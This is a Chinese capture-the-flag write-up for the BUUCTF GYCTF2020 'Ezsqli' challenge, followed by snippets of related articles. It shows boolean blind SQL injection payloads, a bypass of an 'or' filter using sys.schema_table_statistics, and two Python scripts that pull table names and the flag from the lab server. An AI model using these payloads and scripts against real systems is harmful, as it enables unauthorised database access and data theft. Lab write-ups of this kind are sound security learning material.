[BUUCTF][GYCTF2020]Ezsqli
[GYCTF2020]Ezsqli
- 布尔盲注
- 无列名盲注
- 抓包,存在post的id参数。
- 进行测试
id=1时, :Nu1L
id=0时, :Error Occured When Fetch Result.
id=1’时, :bool(false)
id=1’#时,:bool(false)
- 语句不正确时返回bool(false)
- 所以猜测是数字型的注入
id=1^1 :Error Occured When Fetch Result.
id=1^0 :Nu1L
- 存在sql注入。
- fuzz一下。
- 首先测试
0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1})
但是看上方fuzz结果,可以看到or被过滤,所以information_schema数据库不能使用。
可以使用sys.schema_table_statistics获取
import requestsurl="http://a843fe9f-7001-4fba-8cb5-007891301471.node3.buuoj.cn/index.php"
data={"id":""}
def name(num):res=''for i in range(1,50):l=0r=127mid=(l+r)>>1while(l<r):pay1="0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),{0},1))>{1})".format(i,mid)data["id"]=pay1if(num==1):r1=requests.post(url,data=data)# print(data)# print(r1.text)if("Nu1L" in r1.text):l=mid+1 else:r=mid mid = (l+r)>>1if(mid==0):breakres+=chr(mid)print(res)
def main():name(1)if __name__ == "__main__":main()
得到表名:
4. 无列名注入
(1,1)>(select * from f1ag_1s_h3r3_hhhhh)
判断出出两列
0^((1,‘g’)>(select * from f1ag_1s_h3r3_hhhhh)) #正确
0^((1,‘f’)>(select * from f1ag_1s_h3r3_hhhhh)) #错误
0^((1,‘fm’)>(select * from f1ag_1s_h3r3_hhhhh)) #正确
0^((1,‘fl’)>(select * from f1ag_1s_h3r3_hhhhh)) #错误
多以可以通过比较读出flag
使用十六进制。
写上脚本。
import requests
def str_hex(s): #十六进制转换 fl ==> 0x666cres = ''for i in s:res += hex(ord(i)).replace('0x','')res = '0x' + resreturn res
url = "http://a843fe9f-7001-4fba-8cb5-007891301471.node3.buuoj.cn/index.php"
s = ""
for i in range(50):for j in range(33,127):flag = s + chr(j)payload = "1^((1,{0})>(select * from f1ag_1s_h3r3_hhhhh))^1".format(str_hex(flag))# print(payload)data = {"id" : payload}r = requests.post(url, data=data)if "Nu1L" in r.text:s += chr(j-1)print(s)break
[BUUCTF][GYCTF2020]Ezsqli相关推荐
- [GYCTF2020]Ezsqli --BUUCTF
目录 分析 爆表 无列名注入 分析 先上fuzz跑 长度为507的表示被过滤掉了,长度497的回显false,也有可能被过滤删掉的,测试的时候发现注释符被过掉了,对比查询1和1#或1-- 结果都是返回 ...
- BUUCTF [GYCTF2020] Blacklist
BUUCTF [GYCTF2020] Blacklist 启动靶机: 提交参数1后正常回显内容: 输入2/2判断注入类型: 回显为2,可以判断出为字符型注入 输入select,查看是否存在回显: re ...
- BUUCTF[GYCTF2020]Blacklist
sql注入题型,测试发现黑名单如下: 大小写,双写,编码均不可绕过. 可用的还有,or and union show 输入:1 or 1=1 无反应 输入:1' or '1' ='1 如下: 字符型注 ...
- [GYCTF2020]Ezsqli
文章目录 ASCII位偏移 参考文章 无列名注入,acii位偏移 打开环境后,是个查询的东西 输入1 返回Nu1L 输入2 返回V&N 输入其他 返回Error Occured When Fe ...
- [GYCTF2020]Ezsqli -wp
打开容器后可以看到一个提交框 尝试一下发现可以进行bool盲注0^1 0^(ascii(substr((select database()),1,1))>0) 可以比较顺利的查到库名 give_ ...
- Web_SQL注入(1)
前言: 考察SQL注入的赛题很多,而且涉及到的知识也很杂,就总结一下做过的不同类型的SQL注入汇总一下. [GYCTF2020]Blacklist --涉及新知识HANDLER ... OPEN等.堆 ...
- 【web-ctf】ctf_BUUCTF_web(2)
文章目录 BUUCTF_web SQL注入 1. [RCTF2015]EasySQL 2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk 3. [CISCN2019 总决赛 ...
- supersqli 攻防世界
文章目录 一.supersqli 1.查找注入点 2.查看数据库.数据表 3.查看表的内容 二.知识拓展 1.我在mi数据库中创建了一个数据表 2.使用handler读取数据 一.supersqli ...
- [GYCTF2020]Blacklist 使用handler函数进行sql堆注入
[GYCTF2020]Blacklist 前言 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 参 ...
最新文章
- NeHe教程Qt实现——lesson09
- php自定义函数数学计算,ThinkPHP自定义函数解决模板标签加减运算的方法
- Oracle Controlfile控制文件中记录的信息片段sections
- MATLAB接收机位置解算,GPS-receiver GPS软件接收机代码 完整的捕获 解算定位 (可 8个通道) matlab 240万源代码下载- www.pudn.com...
- div动态消失的动画效果
- vscode中文支持xp_VSCode (Visual Studio Code) V1.43.0下载并设置成中文语言的方法
- 推荐一款接口自动化测试数据提取神器 JSonPath
- mysql 5.1.x 比较 5.6.x版本的日志
- 使用RawImage播放视频不清晰(改变视频比例后不清晰)的问题解决
- ps如何创造图层蒙版
- 腾讯裁员,裁出“财务自由”
- growup怎么读_growup_grow 和grow up 的区别
- oracle index alter,Oracle alter index rebuild 一系列问题
- 移动机器人(四)四轴飞行器
- T4 级老专家:AIOps 在腾讯的探索和实践
- 农村电商是什么 农产品电商平台如何运营?
- PON系统向单波速率25G演进
- 关于大学生如何轻松找到高薪工作
- 计算机组成原理中op,计算机组成原理课程习题答案秦磊华
- 如何架设部署V2EX社区/论坛(Google App Engine版)